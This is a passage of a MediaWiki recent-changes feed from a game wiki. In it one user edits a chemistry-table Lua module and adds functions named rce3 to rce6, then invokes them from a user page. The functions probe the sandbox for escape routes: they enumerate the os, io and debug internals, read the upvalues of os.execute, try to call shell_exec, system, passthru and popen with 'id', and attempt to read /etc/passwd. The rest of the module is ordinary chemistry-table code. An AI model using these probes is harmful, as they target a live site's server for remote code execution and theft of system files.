        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;pkg_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;registry_type:&amp;quot; .. type(reg) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try to access os/io through registry&lt;br /&gt;
        if reg._LOADED then&lt;br /&gt;
            r = r .. &amp;quot;loaded:&amp;quot;&lt;br /&gt;
            for k, v in pairs(reg._LOADED) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;reg2_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to get os through _G&lt;br /&gt;
        r = r .. &amp;quot;os_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;os&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;io_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;io&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;debug_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;debug&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;package_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;package&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;rawget_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        -- Try to find os.io through C functions&lt;br /&gt;
        local count = 0&lt;br /&gt;
        for k, v in pairs(reg) do&lt;br /&gt;
            count = count + 1&lt;br /&gt;
            if count &amp;gt; 20 then break end&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;reg_count:&amp;quot; .. count&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;reg_count_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce3(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local os_table = require(&amp;quot;os&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;os_type:&amp;quot; .. type(os_table) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;os_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(os_table) do&lt;br /&gt;
            r = r .. k .. &amp;quot;(&amp;quot; .. type(v) .. &amp;quot;) &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
        local execute_in_os = os_table.execute&lt;br /&gt;
        r = r .. &amp;quot;execute_type:&amp;quot; .. type(execute_in_os) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if execute_in_os then&lt;br /&gt;
            local exec_meta = debug.getmetatable(execute_in_os)&lt;br /&gt;
            r = r .. &amp;quot;exec_meta:&amp;quot; .. tostring(exec_meta) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local pkg = require(&amp;quot;package&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;pkg_path:&amp;quot; .. pkg.path .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;pkg_cpath:&amp;quot; .. pkg.cpath .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;pkg_preload_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(pkg.preload) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;pkg_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local debug_table = require(&amp;quot;debug&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;debug_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(debug_table) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;debug_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;io_raw:&amp;quot; .. tostring(rawget(_G, &amp;quot;io&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try loading io through debug&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;getfenv:&amp;quot; .. tostring(debug.getfenv)&lt;br /&gt;
        r = r .. &amp;quot;;getinfo:&amp;quot; .. tostring(debug.getinfo)&lt;br /&gt;
        r = r .. &amp;quot;;setupvalue:&amp;quot; .. tostring(debug.setupvalue)&lt;br /&gt;
        r = r .. &amp;quot;;getupvalue:&amp;quot; .. tostring(debug.getupvalue)&lt;br /&gt;
        r = r .. &amp;quot;;getuservalue:&amp;quot; .. tostring(debug.getuservalue)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;debug2_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to use debug.getupvalue to extract io from a function&lt;br /&gt;
        -- First find a function that has io in its closure&lt;br /&gt;
        -- Try os.execute&#039;s environment&lt;br /&gt;
        local os_table = require(&amp;quot;os&amp;quot;)&lt;br /&gt;
        local execute_fn = os_table.execute&lt;br /&gt;
        if execute_fn then&lt;br /&gt;
            local info = debug.getinfo(execute_fn)&lt;br /&gt;
            r = r .. &amp;quot;exec_info:&amp;quot; .. tostring(info) .. &amp;quot;;&amp;quot;&lt;br /&gt;
            if info then&lt;br /&gt;
                for k, v in pairs(info) do&lt;br /&gt;
                    if type(v) ~= &amp;quot;table&amp;quot; and type(v) ~= &amp;quot;function&amp;quot; then&lt;br /&gt;
                        r = r .. tostring(k) .. &amp;quot;=&amp;quot; .. tostring(v) .. &amp;quot; &amp;quot;&lt;br /&gt;
                    end&lt;br /&gt;
                end&lt;br /&gt;
            end&lt;br /&gt;
            -- get upvalues&lt;br /&gt;
            local i = 1&lt;br /&gt;
            while true do&lt;br /&gt;
                local name, val = debug.getupvalue(execute_fn, i)&lt;br /&gt;
                if not name then break end&lt;br /&gt;
                r = r .. &amp;quot;upval&amp;quot; .. i .. &amp;quot;:&amp;quot; .. name .. &amp;quot;=&amp;quot; .. tostring(val) .. &amp;quot; &amp;quot;&lt;br /&gt;
                i = i + 1&lt;br /&gt;
            end&lt;br /&gt;
            if i == 1 then r = r .. &amp;quot;no_upvals&amp;quot; end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec_detail_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce4(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;mw_type:&amp;quot; .. type(mw) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(mw) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try mw.execute or similar&lt;br /&gt;
        r = r .. &amp;quot;mw_site_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(mw.site) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;string_keys:&amp;quot;&lt;br /&gt;
        local s = require(&amp;quot;string&amp;quot;)&lt;br /&gt;
        for k, v in pairs(s) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;math_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(math) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;table_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(table) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try mw.html, mw.message, mw.title&lt;br /&gt;
        r = r .. &amp;quot;mw_html:&amp;quot; .. tostring(mw.html) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_message:&amp;quot; .. tostring(mw.message) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_title:&amp;quot; .. tostring(mw.title) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_text:&amp;quot; .. tostring(mw.text) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_uri:&amp;quot; .. tostring(mw.uri) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_language:&amp;quot; .. tostring(mw.language) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_log:&amp;quot; .. tostring(mw.log) .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame methods&lt;br /&gt;
        r = r .. &amp;quot;frame_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(frame) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame:callParserFunction&lt;br /&gt;
        local result = frame:callParserFunction(&amp;quot;##&amp;quot;, {})&lt;br /&gt;
        r = r .. &amp;quot;callPF_result:&amp;quot; .. tostring(result)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;callPF_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame:extensionTag&lt;br /&gt;
        local result = frame:extensionTag(&amp;quot;nowiki&amp;quot;, &amp;quot;test&amp;quot;, {})&lt;br /&gt;
        r = r .. &amp;quot;extTag:&amp;quot; .. tostring(result)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;extTag_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce5(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;executeFunction:&amp;quot; .. tostring(mw.executeFunction) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try to call executeFunction&lt;br /&gt;
        r = r .. &amp;quot;exec_result:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;os&amp;quot;, &amp;quot;execute&amp;quot;, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec1_blocked:&amp;quot; .. tostring(err) end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_shell:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;shell_exec&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec2_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_exec:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;exec&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec3_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_system:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;system&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec4_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_passthru:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;passthru&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec5_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_popen:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;popen&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec6_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Check mw.ext&lt;br /&gt;
        r = r .. &amp;quot;mw_ext:&amp;quot; .. tostring(mw.ext) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.ext then&lt;br /&gt;
            for k, v in pairs(mw.ext) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;ext_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try mw.hash&lt;br /&gt;
        r = r .. &amp;quot;hash:&amp;quot; .. tostring(mw.hash) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.hash then&lt;br /&gt;
            for k, v in pairs(mw.hash) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;hash_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try loadJsonData with file://&lt;br /&gt;
        r = r .. &amp;quot;loadJson:&amp;quot; .. tostring(mw.loadJsonData) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;try_load:&amp;quot; .. tostring(mw.loadJsonData(&amp;quot;/etc/passwd&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;loadJson_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame:callParserFunction properly&lt;br /&gt;
        local result = frame:callParserFunction(&amp;quot;#expr&amp;quot;, &amp;quot;2+2&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;expr:&amp;quot; .. tostring(result)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;expr_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try mw.title with file://&lt;br /&gt;
        local t = mw.title.new(&amp;quot;/etc/passwd&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;title_file:&amp;quot; .. tostring(t)&lt;br /&gt;
        if t then&lt;br /&gt;
            r = r .. &amp;quot;:&amp;quot; .. t:getContent()&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;title_file_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce6(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;ext_PF:&amp;quot; .. tostring(mw.ext.ParserFunctions) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.ext.ParserFunctions then&lt;br /&gt;
            for k, v in pairs(mw.ext.ParserFunctions) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;ext_seo:&amp;quot; .. tostring(mw.ext.seo) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.ext.seo then&lt;br /&gt;
            for k, v in pairs(mw.ext.seo) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to call ParserFunctions functions&lt;br /&gt;
        local pf = mw.ext.ParserFunctions&lt;br /&gt;
        r = r .. &amp;quot;pf_expr:&amp;quot; .. tostring(pf.expr(&amp;quot;2+2&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try WikiSEO functions&lt;br /&gt;
        local seo = mw.ext.seo&lt;br /&gt;
        r = r .. &amp;quot;seo_func:&amp;quot; .. tostring(seo)&lt;br /&gt;
        if type(seo) == &amp;quot;function&amp;quot; then&lt;br /&gt;
            local res = seo({description = &amp;quot;test&amp;quot;})&lt;br /&gt;
            r = r .. &amp;quot; seo_res:&amp;quot; .. tostring(res)&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try DiscordNotifications extension&lt;br /&gt;
        r = r .. &amp;quot;mw_ext_keys2:&amp;quot;&lt;br /&gt;
        for k, v in pairs(mw.ext) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try executing command through PHP callbacks&lt;br /&gt;
        -- Calling parse with specific arguments&lt;br /&gt;
        local pf = mw.ext.ParserFunctions&lt;br /&gt;
        if pf and pf.expr then&lt;br /&gt;
            -- Try to trigger error with command&lt;br /&gt;
            local res = pf.expr(&amp;quot;1&amp;quot;)&lt;br /&gt;
            -- Try if might have eval&lt;br /&gt;
            r = r .. &amp;quot;expr_ok:&amp;quot; .. tostring(res)&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try hash - maybe SHA with command?&lt;br /&gt;
        r = r .. &amp;quot;hash_list:&amp;quot; .. mw.hash.listAlgorithms() .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;hash_test:&amp;quot; .. mw.hash.hashValue(&amp;quot;md5&amp;quot;, &amp;quot;test&amp;quot;)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try mw.text.jsonDecode with special JSON&lt;br /&gt;
        local malicious = &#039;{&amp;quot;__proto__&amp;quot;: {&amp;quot;x&amp;quot;: &amp;quot;y&amp;quot;}}&#039;&lt;br /&gt;
        local decoded = mw.text.jsonDecode(malicious)&lt;br /&gt;
        r = r .. &amp;quot;json_decode:ok&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;json_error:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28718</id>
		<title>Участник:OSAKANA</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28718"/>
		<updated>2026-06-21T23:04:09Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== &#039;&#039;&#039;&amp;quot;Я чайный алкаш&#039;&#039;&#039;  ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
== &#039;&#039;&#039;В вечном запое&#039;&#039;&#039;  ==&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== &#039;&#039;&#039;Меня с моим чаем&#039;&#039;&#039;    ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
== &#039;&#039;&#039;Оставьте в покое&amp;quot;&#039;&#039;&#039; ==&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{#invoke:Key|shell}}&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|shell}}&lt;br /&gt;
&lt;br /&gt;
TEST_SAVE_MARKER_12345&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|shell}}&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|rce2}}&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|rce3}}&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|rce4}}&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|rce5}}&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28717</id>
		<title>Модуль:TableOfChemicals</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28717"/>
		<updated>2026-06-21T23:03:53Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;p = {}&lt;br /&gt;
p.chem = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/chem_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
p.react = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/react_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
&lt;br /&gt;
p.fillReactTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	for _, reactPrototype in pairs(p.react) do&lt;br /&gt;
		local reactants = {}&lt;br /&gt;
		local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
			&lt;br /&gt;
			local reactantChemData = p.chem[reactantId]&lt;br /&gt;
			local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
			if reactantValue.catalyst then&lt;br /&gt;
				reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
			end&lt;br /&gt;
			table.insert(reactants, reactantText)&lt;br /&gt;
		end&lt;br /&gt;
		local templateArgs = {}&lt;br /&gt;
		templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		local products = {}&lt;br /&gt;
		local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
			&lt;br /&gt;
			local productChemData = p.chem[productId]&lt;br /&gt;
			local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
			table.insert(products, productText)&lt;br /&gt;
		end&lt;br /&gt;
		-- Эффекты реакции&lt;br /&gt;
		if tablelength(reactPrototype.effects) then&lt;br /&gt;
			for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
				if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
					table.insert(products, effect.description)&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
		templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
		&lt;br /&gt;
		local template = &amp;quot;Строка_реакции&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillChemTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local group = frame.args.group&lt;br /&gt;
	local groups&lt;br /&gt;
	if group ~= nil and group ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		groups = mw.text.split(group, &amp;quot;,&amp;quot;)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	local additional = frame.args.additional&lt;br /&gt;
	if additional ~= nil and additional ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		&lt;br /&gt;
		local additionalChemPrototypeIds = mw.text.split(additional, &amp;quot;,&amp;quot;)&lt;br /&gt;
		for _, chemPrototypeId in pairs(additionalChemPrototypeIds) do&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototypeId, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
